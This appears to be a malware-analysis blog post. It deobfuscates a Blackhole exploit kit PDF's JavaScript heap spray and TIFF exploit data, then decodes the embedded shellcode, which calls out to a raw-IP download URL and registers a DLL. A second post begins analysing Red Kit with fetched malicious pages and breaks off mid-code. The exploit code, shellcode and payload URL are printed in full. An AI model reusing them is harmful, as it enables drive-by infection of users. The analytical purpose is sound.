**2M**46**^!@#**3A**2H**2N**46**^!@#**3A**2C**29**4J**^!@#**4C**4L**4E**51**^!@#**4F**2M**46**3A**^!@#**2H**26**26**24**^!@#**58**46**4J**2K**^!@#**2O**46**3A**2F**^!@#**29**4J**4C**4L**^!@#**4E**51**4F**2M**^!@#**46**3A**2I**2O**^!@#**46**3A**2C**29**^!@#**4A**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**32**51**23**46**^!@#**3A**2H**24**2M**^!@#**46**3A**2J**2O**^!@#**46**3A**2F**29**^!@#**4A**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**32**51**23**46**^!@#**3A**2H**2O**46**^!@#**4J**2K**24**2M**^!@#**46**3A**2G**26**^!@#**2O**3K**51**4P**^!@#**4G**4L**4E**29**^!@#**4D**4P**4M**4K**^!@#**34**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**23**46**3A**2I**^!@#**45**46**3A**2J**^!@#**24**2M**5A**4P**^!@#**4C**51**52**4P**^!@#**4L**1L**46**3A**^!@#**2G**5A**4D**52**^!@#**4L**4A**51**4G**^!@#**4M**4L**1L**46**^!@#**3A**2K**23**46**^!@#**3A**2H**24**58**^!@#**46**4H**2B**2O**^!@#**46**3A**2H**29**^!@#**51**4M**3K**51**^!@#**4P**4G**4L**4E**^!@#**23**2C**2H**24**^!@#**2M**46**4H**2C**^!@#**2O**46**4H**2B**^!@#**29**4J**4C**4L**^!@#**4E**51**4F**2M**^!@#**46**3A**2G**2O**^!@#**23**46**4H**2C**^!@#**2O**2D**24**3O**^!@#**22**2B**22**26**^!@#**46**4H**2B**2L**^!@#**46**4H**2B**2M**^!@#**4P**4C**51**52**^!@#**4P**4L**1L**46**^!@#**3A**2G**5A**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**4H**2D**23**^!@#**46**3A**2C**24**^!@#**58**46**3A**2G**^!@#**2O**22**22**2M**^!@#**4D**4M**4P**23**^!@#**46**3A**2H**2O**^!@#**2B**2M**46**3A**^!@#**2H**2N**46**3A**^!@#**2C**29**4J**4C**^!@#**4L**4E**51**4F**^!@#**2M**46**3A**2H**^!@#**26**2O**2D**24**^!@#**58**46**3A**2G**^!@#**26**2O**22**2O**^!@#**52**22**2M**46**^!@#**3A**2G**26**2O**^!@#**46**3A**2K**23**^!@#**46**3A**2C**29**^!@#**4A**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**32**51**23**46**^!@#**3A**2H**26**2C**^!@#**24**24**2M**46**^!@#**3A**2G**26**2O**^!@#**46**3A**2K**23**^!@#**46**3A**2C**29**^!@#**4A**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**32**51**23**46**^!@#**3A**2H**24**24**^!@#**5A**4P**4C**51**^!@#**52**4P**4L**1L**^!@#**46**3A**2G**5A**^!@#**4D**52**4L**4A**^!@#**51**4G**4M**4L**^!@#**1L**46**4H**2E**^!@#**23**24**58**46**^!@#**4H**2F**2O**46**^!@#**4J**2G**23**24**^!@#**2M**4G**4D**23**^!@#**46**4H**2F**2N**^!@#**2K**2B**2B**2B**^!@#**24**58**46**4H**^!@#**2G**2O**22**4M**^!@#**26**52**32**3K**^!@#**4H**4E**4E**4E**^!@#**4I**4N**52**3D**^!@#**2F**33**3C**2A**^!@#**2A**2A**2A**2A**^!@#**54**32**32**32**^!@#**32**33**32**32**^!@#**32**32**32**32**^!@#**32**32**32**32**^!@#**32**32**3I**32**^!@#**32**32**32**32**^!@#**32**32**32**4D**^!@#**4F**48**32**3K**^!@#**4G**32**4E**4O**^!@#**32**2K**2J**36**^!@#**3A**33**3C**22**^!@#**2M**46**4H**2H**^!@#**2O**46**4J**2C**^!@#**2M**46**4H**2I**^!@#**2O**46**3A**2E**^!@#**23**46**4H**2H**^!@#**24**5A**4C**4J**^!@#**5O**4C**58**46**^!@#**4H**2G**2O**22**^!@#**4I**33**26**32**^!@#**3K**4H**4G**3I**^!@#**4F**36**4N**2K**^!@#**4D**4M**33**3C**^!@#**2A**2A**2A**2A**^!@#**2A**54**32**32**^!@#**32**32**33**32**^!@#**32**32**32**32**^!@#**32**32**32**32**^!@#**32**32**32**3I**^!@#**32**32**32**32**^!@#**32**32**32**32**^!@#**4O**55**34**32**^!@#**3K**4G**32**4E**^!@#**4O**32**2A**4D**^!@#**36**2F**33**3C**^!@#**22**2M**46**4H**^!@#**2H**2O**46**4J**^!@#**2D**2M**46**4H**^!@#**2I**2O**46**3A**^!@#**2E**23**46**4H**^!@#**2H**24**5A**46**^!@#**4H**2J**2O**22**^!@#**3K**3M**4I**4O**^!@#**32**35**4E**4E**^!@#**32**32**33**33**^!@#**22**2M**46**4H**^!@#**2K**2O**46**3A**^!@#**2D**23**22**3I**^!@#**3M**37**33**22**^!@#**27**2C**2B**2K**^!@#**2J**2F**24**2M**^!@#**46**4J**4J**2B**^!@#**2O**22**3I**3I**^!@#**4A**32**32**32**^!@#**36**35**32**32**^!@#**36**32**32**32**^!@#**32**54**3A**32**^!@#**32**32**32**3I**^!@#**36**35**32**32**^!@#**36**32**32**32**^!@#**32**33**32**32**^!@#**32**32**32**54**^!@#**36**35**32**32**^!@#**36**32**32**32**^!@#**32**33**32**32**^!@#**32**32**33**4E**^!@#**36**35**32**32**^!@#**36**32**32**32**^!@#**32**33**32**32**^!@#**32**32**36**3I**^!@#**36**36**32**32**^!@#**36**32**32**32**^!@#**32**3A**32**32**^!@#**32**32**37**54**^!@#**36**36**32**32**^!@#**36**32**32**32**^!@#**32**54**3A**32**^!@#**32**32**3M**32**^!@#**36**35**32**3E**^!@#**54**32**32**32**^!@#**34**3K**3A**32**^!@#**32**32**32**32**^!@#**32**32**32**32**^!@#**32**3E**35**32**^!@#**4H**2A**2A**2A**^!@#**2A**2A**22**2M**^!@#**46**4J**4J**2C**^!@#**2O**46**4H**2J**^!@#**26**46**4H**2K**^!@#**26**46**4J**4J**^!@#**2B**26**46**4H**^!@#**2G**2M**46**4J**^!@#**4J**2D**2O**46**^!@#**4H**4G**2C**23**^!@#**46**4H**2I**27**^!@#**22**22**24**2M**^!@#**4G**4D**23**46**^!@#**4J**4J**2D**29**^!@#**4J**4C**4L**4E**^!@#**51**4F**2O**2D**^!@#**24**46**4J**4J**^!@#**2D**26**2O**52**^!@#**4L**4C**5O**4A**^!@#**48**4N**4C**23**^!@#**22**2O**2B**2B**^!@#**22**24**2M**46**^!@#**4J**4J**2E**2O**^!@#**46**4H**2D**23**^!@#**46**4J**4J**2D**^!@#**24**2M**54**4G**^!@#**51**4F**23**58**^!@#**4I**2L**46**4J**^!@#**4J**2E**5A**24**^!@#**46**3A**2B**23**^!@#**4I**24**2M**3A**^!@#**4K**48**4E**4C**^!@#**37**4G**4C**4J**^!@#**4B**2C**29**4P**^!@#**48**54**3N**48**^!@#**4J**52**4C**2O**^!@#**46**4J**4J**2C**^!@#**5A**46**4H**2E**^!@#**23**24**2M';
a=a.replace.apply(a,[/(\^!@#)|(\*)/g,&quot;&quot;]);
s=[];
cc=String;
cc=cc[pp];
tt=event[cc.apply(String,[Ox74,Ox61,Ox72,Ox67,Ox65,Ox74])];
for(i=O;i&lt;a.&#1O8;ength;i+=2){
 s.push(tt[p](a.&#115;ubstr(i,3-1),26)-15);
}
if(tt.info["Authors"]===null){
 k=cc.apply(String,s);
 q="e"+cc.apply(String,[Ox76]);
 q+="al";
 tt[q](&#1O7;);
}
</xfa:script></event></field></subform><proto></proto></subform><?templateDesigner DefaultLanguage FormCalc?><?templateDesigner DefaultRunAt client?><?templateDesigner Grid show:1, snap:1, units:O, color:ff8O8O, origin:(O,O), interval:(125OOO,125OOO)?><?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:O?><?templateDesigner Zoom 76?></template>

Lets clean it, run it through node-js and see what comes out:

var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
var _l1 = "4c2O6OOfO5178O4a3c2O6OOfOf638O4aa3eb8O4a3O2O824a6e2f8O4a4141414126OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO12398O4a642O6OOfOOO4OOOO4141414141414141" + "OOOO5636d697d3f646366226c6873626d34746761767e6629613d396f6573762f613a31333a36723a3e613a3e613a3e613a33333a32333a3e613a37613d356O7f656175766d662a613a3O333a39613a3b613a38613d3O73766f3O786O7e217f23693O343935333264693135333239316832673934653O3361623162316167323f23693O343935333264693135333239316832673934653O3361623162316167323f24353e25363e2132313e2932313f2f2a3O7474786O7f2a16397646cb1b5a8ac33db1Of698eOa8ef89ceeOe4e8ffffefc98e8O65ffefa6OOa64c57OOf3O874af57OOf3O87431be2ObecO3c384O65ff35cObe38OOa64O65ff35OOa66157Oc584165ffOOa67535OOa6OOa615144Od14488O34O1ca895OO9Od1446cc6c646e25Od1447c4726O777OOd1447c159c338eb8cO65ffOOOOOO8f8635O237d2O28O42447c233327674O42447c37765627424O7ccO42c5d8OOOO1O4Oce1827be2Obeffffff168e8eb88O4c3861ff45d6c6275786OOOOe6f6863eff5O3c38O1e5b8ceb855O591Oc38O5OOOOOOff86O4a6O585OOOOOOOO8e9f2effffff898e955Oa67fb88O86b83fbe693O4733cOd7O8O286b8da35be3c95e5ba5c3Ob84Ob8dd3O8db8cO4245ffce64d8b4cOb866dd3O42e5b8e56e57f1b31fbeO4ad3OdObc1c8O472f83O1ebfObd335c3Odacf14949c335f3OO267b8655f3O875347b8c357b86515c4be9e15574e58424378bf576O93643cO3O4b88bffffO151ee18c233473Oc3e5b866bd338O67b865c1O7b8cOO4b8O3O4b846Oc33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g, '');
var _l2 = "4c2O6OOfa5638O4a3c2O6OOf96218O4a9O1f8O4a3O9O844a7d7e8O4a4141414126OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO71888O4a642O6OOfOOO4OOOO4141414141414141" + "OOOO5636d697d3f646366226c6873626d34746761767e6629613d396f6573762f613a31333a36723a3e613a3e613a3e613a33333a32333a3e613a37613d356O7f656175766d662a613a3O333a39613a3b613a38613d3O73766f3O786O7e217f23693O343935333264693135333239316832673934653O3361623162316167323f23693O343935333264693135333239316832673934653O3361623162316167323f24353e25363e2132313e2932313f2f2a3O7474786O7f2a16397646cb1b5a8ac33db1Of698eOa8ef89ceeOe4e8ffffefc98e8O65ffefa6OOa64c57OOf3O874af57OOf3O87431be2ObecO3c384O65ff35cObe38OOa64O65ff35OOa66157Oc584165ffOOa67535OOa6OOa615144Od14488O34O1ca895OO9Od1446cc6c646e25Od1447c4726O777OOd1447c159c338eb8cO65ffOOOOOO8f8635O237d2O28O42447c233327674O42447c37765627424O7ccO42c5d8OOOO1O4Oce1827be2Obeffffff168e8eb88O4c3861ff45d6c6275786OOOOe6f6863eff5O3c38O1e5b8ceb855O591Oc38O5OOOOOOff86O4a6O585OOOOOOOO8e9f2effffff898e955Oa67fb88O86b83fbe693O4733cOd7O8O286b8da35be3c95e5ba5c3Ob84Ob8dd3O8db8cO4245ffce64d8b4cOb866dd3O42e5b8e56e57f1b31fbeO4ad3OdObc1c8O472f83O1ebfObd335c3Odacf14949c335f3OO267b8655f3O875347b8c357b86515c4be9e15574e58424378bf576O93643cO3O4b88bffffO151ee18c233473Oc3e5b866bd338O67b865c1O7b8cOO4b8O3O4b846Oc33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g, '');
//_l3 = app; @malforsec not needed
_l4 = new Array();

function _l5() {
//    var _l6 = _l3.viewerVersion.toString();
    var _l6 = "9.3.O"; //@malforsec set viewer version
    _l6 = _l6.replace('.', '');
    while (_l6.length < 4) _l6 += 'O';
    return parseInt(_l6, 1O)
}
function _l7(_l8, _l9) {
    while (_l8.length * 2 < _l9) _l8 += _l8;
    return _l8.substring(O, _l9 / 2)
}
function _IO(_I1) {
    _I1 = unescape(_I1);
    roteDak = _I1.length * 2;
    dakRote = unescape('%u9O9O');
    spray = _l7(dakRote, Ox2OOO - roteDak);
    loxWhee = _I1 + spray;
    loxWhee = _l7(loxWhee, 524O98);
    for (i = O; i < 4OO; i++) _l4[i] = loxWhee.substr(O, loxWhee.length - 1) + dakRote;
}
function _I2(_I1, len) {
    while (_I1.length < len) _I1 += _I1;
    return _I1.substring(O, len)
}
function _I3(_I1) {
    ret = '';
    for (i = O; i < _I1.length; i += 2) {
        b = _I1.substr(i, 2);
        c = parseInt(b, 16);
        ret += String.fromCharCode(c);
    }
    return ret
}
function _ji1(_I1, _I4) {
    _I5 = '';
    for (_I6 = O; _I6 < _I1.length; _I6++) {
        _l9 = _I4.length;
        _I7 = _I1.charCodeAt(_I6);
        _I8 = _I4.charCodeAt(_I6 % _l9);
        _I5 += String.fromCharCode(_I7 ^ _I8);
    }
    return _I5
}
function _I9(_I6) {
    _jO = _I6.toString(16);
    _j1 = _jO.length;
    _I5 = (_j1 % 2) ? 'O' + _jO : _jO;
    return _I5
}
function _j2(_I1) {
    _I5 = '';
    for (_I6 = O; _I6 < _I1.length; _I6 += 2) {
        _I5 += '%u';
        _I5 += _I9(_I1.charCodeAt(_I6 + 1));
        _I5 += _I9(_I1.charCodeAt(_I6))
    }
    return _I5
}
function _j3() {
    _j4 = _l5();
    if (_j4 < 9OOO) {
        _j5 = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
        _j6 = _l1;
        _j7 = _I3(_j6)
    } else {
        _j5 = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
        _j6 = _l2;
        _j7 = _I3(_j6)
    }
    _j8 = 'SUkqADggAABB';
    _j9 = _I2('QUFB', 1O984);
    _llO = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
    _ll1 = _j8 + _j9 + _llO + _j5;
    _ll2 = _ji1(_j7, '');
    if (_ll2.length % 2) _ll2 += unescape('%OO');
    _ll3 = _j2(_ll2);
    with({
        k: _ll3
    }) _IO(k);
//    ImageField1.rawValue = _ll1
    console.log(_ll1); //@malforsec log result
}
_j3();

Thats better! Looks like shellcode in the middle there.

3. Shellcode

Some magic is performed by these dark agents, or should we call them Dark Knights. Lets see if we can do just as good as King Arthur and see if we too can pass over the bridge when meeting The Dark Knight  (youtube - warning not for sensitive people).

Short Python intermesso: Just concatenating the strings from the JavaScript code. Last string reversed. Output the chars to get bin code.

>>> hexstr = "4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141" + "00005636d697d3f646366226c6873626d34746761767e6629613d396f6573762f613a31333a36723a3e613a3e613a3e613a33333a32333a3e613a37613d35607f656175766d662a613a30333a39613a3b613a38613d3073766f3078607e217f23693034393533326469313533323931683267393465303361623162316167323f23693034393533326469313533323931683267393465303361623162316167323f24353e25363e2132313e2932313f2f2a30747478607f2a16397646cb1b5a8ac33db10f698e0a8ef89cee0e4e8ffffefc98e8065ffefa600a64c5700f30874af5700f3087431be20bec03c384065ff35c0be3800a64065ff3500a661570c584165ff00a6753500a600a6151440d1448803401ca8950090d1446cc6c646e250d1447c4726077700d1447c159c338eb8c065ff0000008f86350237d2028042447c233327674042447c3776562742407cc042c5d800001040ce1827be20beffffff168e8eb8804c3861ff45d6c62757860000e6f6863eff503c3801e5b8ceb85505910c3805000000ff8604a60585000000008e9f2effffff898e9550a67fb88086b83fbe69304733c0d7080286b8da35be3c95e5ba5c30b840b8dd308db8c04245ffce64d8b4c0b866dd3042e5b8e56e57f1b31fbe04ad30d0bc1c80472f8301ebf0bd335c30dacf14949c335f300267b8655f30875347b8c357b86515c4be9e15574e58424378bf576093643c0304b88bffff0151ee18c2334730c3e5b866bd338067b865c107b8c004b80304b8460c33f59e43574e58cfcf4e3866"[::-1]
>>> hexbytes = "".join(chr(int(hexstr[i:i+2],16)) for i in xrange(0,len(hexstr),2))
>>> hexbytes
'L `\x0f\x05\x17\x80J< `\x0f\x0fc\x80J\xa3\xeb\x80J0 \x82Jn/\x80JAAAA&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x129\x80Jd `\x0f\x00\x04\x00\x00AAAAAAAAf\x83\xe4\xfc\xfc\x85\xe4u4\xe9_3\xc0d\x8b@0\x8b@\x0c\x8bp\x1cV\x8bv\x083\xdbf\x8b^<\x03t3,\x81\xee\x15\x10\xff\xff\xb8\x8b@0\xc3F9\x06u\xfb\x874$\x85\xe4uQ\xe9\xebLQV\x8bu<\x8bt5x\x03\xf5V\x8bv \x03\xf53\xc9IA\xfc\xad\x03\xc53\xdb\x0f\xbe\x108\xf2t\x08\xc1\xcb\r\x03\xda@\xeb\xf1;\x1fu\xe6^\x8b^$\x03\xddf\x8b\x0cK\x8dF\xec\xffT$\x0c\x8b\xd8\x03\xdd\x8b\x04\x8b\x03\xc5\xab^Y\xc3\xebS\xad\x8bh \x80}\x0c3t\x03\x96\xeb\xf3\x8bh\x08\x8b\xf7j\x05Y\xe8\x98\xff\xff\xff\xe2\xf9\xe8\x00\x00\x00\x00XPj@h\xff\x00\x00\x00P\x83\xc0\x19PU\x8b\xec\x8b^\x10\x83\xc3\x05\xff\xe3hon\x00\x00hurlmT\xff\x16\x83\xc4\x08\x8b\xe8\xe8a\xff\xff\xff\xeb\x02\xebr\x81\xec\x04\x01\x00\x00\x8d\\$\x0c\xc7\x04$regs\xc7D$\x04vr32\xc7D$\x08 -s Sh\xf8\x00\x00\x00\xffV\x0c\x8b\xe83\xc9Q\xc7D\x1d\x00wpbt\xc7D\x1d\x05.dll\xc6D\x1d\t\x00Y\x8a\xc1\x040\x88D\x1d\x04AQj\x00j\x00SWj\x00\xffV\x14\x85\xc0u\x16j\x00S\xffV\x04j\x00\x83\xeb\x0cS\xffV\x04\x83\xc3\x0c\xeb\x02\xeb\x13G\x80?\x00u\xfaG\x80?\x00u\xc4j\x00j\xfe\xffV\x08\xe8\x9c\xfe\xff\xff\x8eN\x0e\xec\x98\xfe\x8a\x0e\x89o\x01\xbd3\xca\x8a[\x1b\xc6Fy6\x1a/phttp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/27aa2a2ac05d97b8a923519db359409c/q.php?fsp=1h:1k:1i:30:1j&mfuqeope=1g:1n:32:33:1n:1n:1n:2v:31:1o&suoi=1i&nvqgdt=bcxlb&cdo=ymce\x00\x00'

Looks like we got some nice bin code out, and we even got straight to The Holy Grai.. - eehhm payload URL.

4. Payload URL

lets look at the code in hex - ascii format

0000000: 4c20 600f 0517 c280 4a3c 2060 0f0f 63c2  L `.....J< `..c.
0000010: 804a c2a3 c3ab c280 4a30 20c2 824a 6e2f  .J......J0 ..Jn/
0000020: c280 4a41 4141 4126 0000 0000 0000 0000  ..JAAAA&........
0000030: 0000 0000 0000 0012 39c2 804a 6420 600f  ........9..Jd `.
0000040: 0004 0000 4141 4141 4141 4141 66c2 83c3  ....AAAAAAAAf...
0000050: a4c3 bcc3 bcc2 85c3 a475 34c3 a95f 33c3  .........u4.._3.
0000060: 8064 c28b 4030 c28b 400c c28b 701c 56c2  .d..@0..@...p.V.
0000070: 8b76 0833 c39b 66c2 8b5e 3c03 7433 2cc2  .v.3..f..^<.t3,.
0000080: 81c3 ae15 10c3 bfc3 bfc2 b8c2 8b40 30c3  .............@0.
0000090: 8346 3906 75c3 bbc2 8734 24c2 85c3 a475  .F9.u....4$....u
00000a0: 51c3 a9c3 ab4c 5156 c28b 753c c28b 7435  Q....LQV..u<..t5
00000b0: 7803 c3b5 56c2 8b76 2003 c3b5 33c3 8949  x...V..v ...3..I
:
0000130: 6a05 59c3 a8c2 98c3 bfc3 bfc3 bfc3 a2c3  j.Y.............
0000140: b9c3 a800 0000 0058 506a 4068 c3bf 0000  .......XPj@h....
0000150: 0050 c283 c380 1950 55c2 8bc3 acc2 8b5e  .P.....PU......^
0000160: 10c2 83c3 8305 c3bf c3a3 686f 6e00 0068  ..........hon..h
0000170: 7572 6c6d 54c3 bf16 c283 c384 08c2 8bc3  urlmT...........
0000180: a8c3 a861 c3bf c3bf c3bf c3ab 02c3 ab72  ...a...........r
0000190: c281 c3ac 0401 0000 c28d 5c24 0cc3 8704  ..........\$....
00001a0: 2472 6567 73c3 8744 2404 7672 3332 c387  $regs..D$.vr32..
00001b0: 4424 0820 2d73 2053 68c3 b800 0000 c3bf  D$. -s Sh.......
00001c0: 560c c28b c3a8 33c3 8951 c387 441d 0077  V.....3..Q..D..w
00001d0: 7062 74c3 8744 1d05 2e64 6c6c c386 441d  pbt..D...dll..D.
00001e0: 0900 59c2 8ac3 8104 30c2 8844 1d04 4151  ..Y.....0..D..AQ
00001f0: 6a00 6a00 5357 6a00 c3bf 5614 c285 c380  j.j.SWj...V.....
0000200: 7516 6a00 53c3 bf56 046a 00c2 83c3 ab0c  u.j.S..V.j......
0000210: 53c3 bf56 04c2 83c3 830c c3ab 02c3 ab13  S..V............
0000220: 47c2 803f 0075 c3ba 47c2 803f 0075 c384  G..?.u..G..?.u..
0000230: 6a00 6ac3 bec3 bf56 08c3 a8c2 9cc3 bec3  j.j....V........
0000240: bfc3 bfc2 8e4e 0ec3 acc2 98c3 bec2 8a0e  .....N..........
0000250: c289 6f01 c2bd 33c3 8ac2 8a5b 1bc3 8646  ..o...3....[...F
0000260: 7936 1a2f 7068 7474 703a 2f2f 3132 392e  y6./phttp://129.
0000270: 3132 312e 3635 2e35 342f 3237 6161 3261  121.65.54/27aa2a
0000280: 3261 6330 3564 3937 6238 6139 3233 3531  2ac05d97b8a92351
0000290: 3964 6233 3539 3430 3963 2f32 3761 6132  9db359409c/27aa2
00002a0: 6132 6163 3035 6439 3762 3861 3932 3335  a2ac05d97b8a9235
00002b0: 3139 6462 3335 3934 3039 632f 712e 7068  19db359409c/q.ph
00002c0: 703f 6673 703d 3168 3a31 6b3a 3169 3a33  p?fsp=1h:1k:1i:3
00002d0: 303a 316a 266d 6675 7165 6f70 653d 3167  0:1j&mfuqeope=1g
00002e0: 3a31 6e3a 3332 3a33 333a 316e 3a31 6e3a  :1n:32:33:1n:1n:
00002f0: 316e 3a32 763a 3331 3a31 6f26 7375 6f69  1n:2v:31:1o&suoi
0000300: 3d31 6926 6e76 7167 6474 3d62 6378 6c62  =1i&nvqgdt=bcxlb
0000310: 2663 646f 3d79 6d63 6500 000a            &cdo=ymce...

Yes we got the url rgiht. So if we where after that we could now just fetch it...

5. Epilogue

Feels good to be on the same side as King Arthur and to be able to reverse and deobfuscate the Black(hole) Knights evi(a)l doings. And get our hands on The Holy Grail.

PS: running the shellcode with sctest and rasm failed with errors due to buffer overflow - any tip on how to get around that very much appreciated

Happy Blackhole PDF deobfuscation :)

Analyzing Red Kit Exploit Kit made easy

having covered the Blackhole Exploit Kit lately I thought it would be a great Idea to look more into the Red Kit EK.

A good start for malicious URL's, as always is urlquery.net or malwaredomainlist.com

Todays pick was urlquery: Some poor Madonna fans having a bad day!

I just looked into the output and immediately found 2 iframes that caught my attention:

hxxp: //miamiheattickets.com/http.php
hxxp: //tucsonaccidentattorney.net/mhed.html?j=449177

0. Fetch the web pages

The second page looks especially interesting as it has the distinct pattern of a RK URL

--2013-03-10 19:48:19--  hxxp: //miamiheattickets.com/http.php
Resolving miamiheattickets.com... 174.120.81.158
Connecting to miamiheattickets.com|174.120.81.158|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 404 Not Found
  Date: Sun, 10 Mar 2013 18:49:15 GMT
  Server: Apache
  Last-Modified: Tue, 10 Apr 2012 05:19:44 GMT
  Accept-Ranges: bytes
  Content-Length: 3354
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: text/html
2013-03-10 19:48:21 ERROR 404: Not Found.

--2013-03-10 19:49:28--  hxxp: //tucsonaccidentattorney.net/mhed.html?j=449177
Resolving tucsonaccidentattorney.net... 67.18.140.14
Connecting to tucsonaccidentattorney.net|67.18.140.14|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 301 Moved Permanently
  Date: Sun, 10 Mar 2013 18:50:24 GMT
  Server: Apache
  Location: hxxp: //fgccnc.org/mhed.htm?j=449177
  Content-Length: 0
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: text/html
Location: hxxp: //fgccnc.org/mhed.htm?j=449177 [following]
--2013-03-10 19:49:30--  hxxp: //fgccnc.org/mhed.htm?j=449177
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sun, 10 Mar 2013 18:50:26 GMT
  Server: Apache
  Content-Length: 12956
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: text/html
Length: 12956 (13K) [text/html]
Saving to: `pane2.html'

     0K .......... ..                                         100%  205M=0s

2013-03-10 19:49:33 (205 MB/s) - `pane2.html' saved [12956/12956]

Excellent :) got a hit on the second page.

1. Plugin Detect ver 0.7.7

<html>
    <script>
        var dtYWu = {
            version: "0.7.7",
            rDate: "04/11/2012",
            name: "diction",
            handler: function (c, b, a) {
                return function () {
                    c(b, a)
                }
            },
            isDefined: function (b) {
                return typeof b != "undefined"
            },
            isArray: function (b) {
                return (/array/i).test(Object.prototype.toString.call(b))
            },
            isFunc: function (b) {
                return typeof b == "function"
            },
            isString: function (b) {
                return typeof b == "string"
            },
            isNum: function (b) {
                return typeof b == "number"
            },
            isStrNum: function (b) {
                return (typeof b == "string" && (/\d/).test(b))
            },
            getNumRegx: /[\d][\d\.\_,-]*/,
            splitNumRegx: /[\.\_,-]/g,
            getNum: function (b, c) {
                var d = this,
                    a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
                return a ? a[0] : null
            },
            compareNums: function (h, f, d) {
                var e = this,
                    c, b, a, g = parseInt;
                if (e.isStrNum(h) && e.isStrNum(f)) {
                    if (e.isDefined(d) && d.compareNums) {
                        return d.compareNums(h, f)
                    }
                    c = h.split(e.splitNumRegx);
                    b = f.split(e.splitNumRegx);
                    for (a = 0; a < Math.min(c.length, b.length); a++) {
                        if (g(c[a], 10) > g(b[a], 10)) {
                            return 1
                        }
                        if (g(c[a], 10) < g(b[a], 10)) {
                            return -1
                        }
                    }
                }
                return 0
            },
            formatNum: function (b, c) {
                var d = this,
                    a, e;
                if (!d.isStrNum(b)) {
                    return null
                }
                if (!d.isNum(c)) {
                    c = 4
                }
                c--;
                e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
                for (a = 0; a < 4; a++) {
                    if (/^(0+)(.+)$/.test(e[a])) {
                        e[a] = RegExp.$2
                    }
                    if (a > c || !(/\d/).test(e[a])) {
                        e[a] = "0"
                    }
                }
                return e.slice(0, 4).join(",")
            },
            $$hasMimeType: function (a) {
                return function (c) {
                    if (!a.isIE && c) {
                        var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
                        for (b = 0; b < d.length; b++) {
                            if (a.isString(d[b]) && /[^\s]/.test(d[b])) {
                                f = navigator.mimeTypes[d[b]];
                                e = f ? f.enabledPlugin : 0;
                                if (e && (e.name || e.description)) {
                                    return f
                                }
                            }
                        }
                    }
                    return null
                }
            },
            findNavPlugin: function (l, e, c) {
                var j = this,
                    h = new RegExp(l, "i"),
                    d = (!j.isDefined(e) || e) ? /\d/ : 0,
                    k = c ? new RegExp(c, "i") : 0,
                    a = navigator.plugins,
                    g = "",
                    f, b, m;
                for (f = 0; f < a.length; f++) {
                    m = a[f].description || g;
                    b = a[f].name || g;
                    if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
                        if (!k || !(k.test(m) || k.test(b))) {
                            return a[f]
                        }
                    }
                }
                return null
            },
            getMimeEnabledPlugin: function (k, m, c) {
                var e = this,
                    f, b = new RegExp(m, "i"),
                    h = "",
                    g = c ? new RegExp(c, "i") : 0,
                    a, l, d, j = e.isString(k) ? [k] : k;
                for (d = 0; d < j.length; d++) {
                    if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
                        l = f.description || h;
                        a = f.name || h;
                        if (b.test(l) || b.test(a)) {
                            if (!g || !(g.test(l) || g.test(a))) {
                                return f
                            }
                        }
                    }
                }
                return 0
            },
            getPluginFileVersion: function (f, b) {
                var h = this,
                    e, d, g, a, c = -1;
                if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
                    return b
                }
                if (!b) {
                    return e
                }
                e = h.formatNum(e);
                b = h.formatNum(b);
                d = b.split(h.splitNumRegx);
                g = e.split(h.splitNumRegx);
                for (a = 0; a < d.length; a++) {
                    if (c > -1 && a > c && d[a] != "0") {
                        return b
                    }
                    if (g[a] != d[a]) {
                        if (c == -1) {
                            c = a
                        }
                        if (d[a] != "0") {
                            return b
                        }
                    }
                }
                return e
            },
            AXO: window.ActiveXObject,
            getAXO: function (a) {
                var f = null,
                    d, b = this,
                    c = {};
                try {
                    f = new b.AXO(a)
                } catch (d) {}
                return f
            },
            convertFuncs: function (f) {
                var a, g, d, b = /^[$][$]/,
                    c = this;
                for (a in f) {
                    if (b.test(a)) {
                        try {
                            g = a.slice(2);
                            if (g.length > 0 && !f[g]) {
                                f[g] = f[a](f);
                                delete f[a]
                            }
                        } catch (d) {}
                    }
                }
            },
            initObj: function (e, b, d) {
                var a, c;
                if (e) {
                    if (e[b[0]] == 1 || d) {
                        for (a = 0; a < b.length; a = a + 2) {
